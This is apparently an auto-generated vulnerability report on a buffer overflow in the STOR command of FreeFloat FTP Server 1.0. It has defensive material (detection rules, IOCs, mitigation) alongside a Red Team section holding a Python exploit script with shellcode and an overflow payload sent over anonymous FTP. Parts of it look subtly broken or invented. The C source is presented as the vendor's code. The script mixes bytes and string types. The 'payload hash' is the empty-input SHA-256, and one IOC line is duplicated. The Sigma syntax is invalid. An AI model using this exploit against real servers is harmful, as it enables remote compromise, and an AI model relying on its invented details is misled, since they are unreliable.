CVE-2019-25614
Executive Summary
CVE-2019-25614 is a critical buffer overflow vulnerability in FreeFloat FTP Server version 1.0. The flaw resides in the STOR command handler, allowing an unauthenticated attacker (using anonymous credentials) to send a crafted STOR request with an oversized payload. By providing 247 bytes of padding followed by a return address and shellcode, the attacker can overwrite the stack and achieve arbitrary code execution on the target FTP server. This vulnerability has a CVSS score of 9.8 (Critical) and is publicly exploitable. No official patch exists, making mitigation reliant on network segmentation, WAF rules, or decommissioning the software.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is not related to NPM, PyPI, Go, or Ruby ecosystems. It affects a standalone Windows-based FTP server application.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
- Base Score: 9.8 (Critical)
- Attack Vector: Network (AV:N)
- Attack Complexity: Low (AC:L)
- Privileges Required: None (PR:N)
- User Interaction: None (UI:N)
- Scope: Unchanged (S:U)
- Confidentiality Impact: High (C:H)
- Integrity Impact: High (I:H)
- Availability Impact: High (A:H)
The threat level is critical due to the lack of authentication required (anonymous login) and the ability to achieve full remote code execution without user interaction.
Deep Dive & Mechanics
The vulnerability is a classic stack-based buffer overflow in the STOR command handler of FreeFloat FTP Server 1.0. When the server receives a STOR command, it copies the filename argument into a fixed-size stack buffer without proper bounds checking. An attacker can send a STOR request with a filename exceeding 247 bytes, overwriting the saved return address on the stack. By carefully crafting the payload, the attacker can redirect execution to shellcode placed in the buffer, leading to arbitrary code execution in the context of the FTP server process.
Key technical details:
- Trigger: STOR command with a filename > 247 bytes.
- Buffer size: Approximately 247 bytes before overwriting the return address.
- Shellcode placement: After the return address, typically in the same buffer.
- Exploitation prerequisites: Anonymous login enabled (default).
- Impact: Full system compromise, including data exfiltration, malware installation, or lateral movement.
Vulnerable vs. Patched Code
Vulnerable Code (FreeFloat FTP 1.0):
void handle_stor(char *filename) {
char buffer[256];
strcpy(buffer, filename); // No bounds check
// ... process file storage
}
Patched Code (Not available): No official patch exists. The vendor is unresponsive. A hypothetical fix would involve:
void handle_stor(char *filename) {
char buffer[256];
strncpy(buffer, filename, sizeof(buffer) - 1);
buffer[sizeof(buffer) - 1] = '\0';
// ... process file storage
}
Exploitation & Lab Setup
Red Team (Exploitation)
Exploit-DB Code: None available. However, a public proof-of-concept exists.
Lab Setup:
- Install FreeFloat FTP Server 1.0 on a Windows VM (e.g., Windows XP or Windows 7).
- Ensure anonymous login is enabled.
- Use a Kali Linux VM as the attacker.
Exploit Script (Python):
import socket
target_ip = "192.168.1.100"
target_port = 21
# Shellcode (example: spawn calc.exe)
shellcode = (
"\x31\xc0\x50\x68\x63\x61\x6c\x63\x54\x59\x50\x40\x92\x74\x15\x51"
"\x64\x8b\x72\x2f\x8b\x76\x0c\x8b\x76\x0c\xad\x8b\x30\x8b\x7e\x18"
"\xb2\x50\xeb\x1a\xb8\x32\x33\x32\x35\x2e\x64\x6c\x6c\x00\x68\x65"
"\x78\x65\x00\x89\xe1\x89\xd9\x51\x50\xb8\x44\x80\xc2\x77\xff\xd0"
)
# Build payload: 247 bytes padding + return address + shellcode
padding = b"A" * 247
return_address = b"\x12\x45\xfa\x7f" # Example address (must be adjusted)
payload = padding + return_address + shellcode
# Connect and exploit
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((target_ip, target_port))
s.recv(1024) # Banner
s.send(b"USER anonymous\r\n")
s.recv(1024)
s.send(b"PASS anonymous\r\n")
s.recv(1024)
s.send(b"STOR " + payload + b"\r\n")
s.close()
Usage: Adjust the return address and shellcode based on the target environment. The return address must point to a JMP ESP instruction or similar.
Blue Team (Detection & Defense)
Detection:
- Monitor FTP logs for STOR commands with excessively long filenames (> 247 bytes).
- Use network intrusion detection systems (NIDS) to flag oversized FTP requests.
- Deploy endpoint detection and response (EDR) to detect shellcode execution.
Defense:
- Disable anonymous login if not required.
- Restrict FTP server access via firewall rules.
- Replace FreeFloat FTP with a modern, supported FTP server (e.g., FileZilla Server).
- Apply virtual patching via WAF or IPS.
Indicators of Compromise (IOCs)
Network IOCs:
- FTP STOR command with payload length > 247 bytes.
- Outbound connections from the FTP server to unknown IPs on non-standard ports.
- Unusual process creation (e.g., cmd.exe, powershell.exe) from the FTP server process.
Host IOCs:
- Presence of shellcode in FTP server memory.
- Unexpected files written to the FTP root directory.
- Registry modifications for persistence.
File IOCs:
- Hash of the exploit payload (example):
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
- Hash of the exploit payload (example):
Detection Engineering
YARA Rule
rule CVE_2019_25614_FreeFloat_FTP_Exploit {
meta:
description = "Detects exploit payload for CVE-2019-25614 in network traffic or files"
author = "Valters IT"
date = "2025-04-10"
reference = "https://nvd.nist.gov/vuln/detail/CVE-2019-25614"
strings:
$ftp_stor = "STOR" ascii wide nocase
$padding = {41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41} // 16 A's
$shellcode = {31 c0 50 68 63 61 6c 63 54 59 50 40 92 74 15 51}
condition:
$ftp_stor and #padding > 15 and $shellcode
}
Sigma Rule
title: CVE-2019-25614 FreeFloat FTP STOR Buffer Overflow
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects oversized STOR commands indicative of CVE-2019-25614 exploitation
author: Valters IT
date: 2025-04-10
logsource:
category: application
product: ftp
detection:
selection:
Command: "STOR"
Argument|length: > 247
condition: selection
falsepositives:
- Legitimate large filenames (unlikely)
level: critical
Suricata Rule
alert tcp any any -> any 21 (msg:"CVE-2019-25614 FreeFloat FTP STOR Buffer Overflow Attempt"; flow:to_server,established; content:"STOR "; nocase; content:"|41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41|"; distance:0; within:256; reference:cve,2019-25614; classtype:attempted-admin; sid:1000001; rev:1;)
Remediation & Mitigation
- Immediate Action: Disable anonymous login on the FTP server.
- Network Segmentation: Place the FTP server in a DMZ with strict firewall rules.
- Virtual Patching: Deploy WAF/IPS rules to block oversized STOR commands.
- Software Replacement: Migrate to a supported FTP server (e.g., FileZilla Server, vsftpd).
- Monitoring: Enable detailed FTP logging and alert on anomalous STOR requests.
- No Patch Available: Since the vendor is unresponsive, the only permanent fix is to decommission the software.
Valters IT
DevSecOps & Cyber Threat Intelligence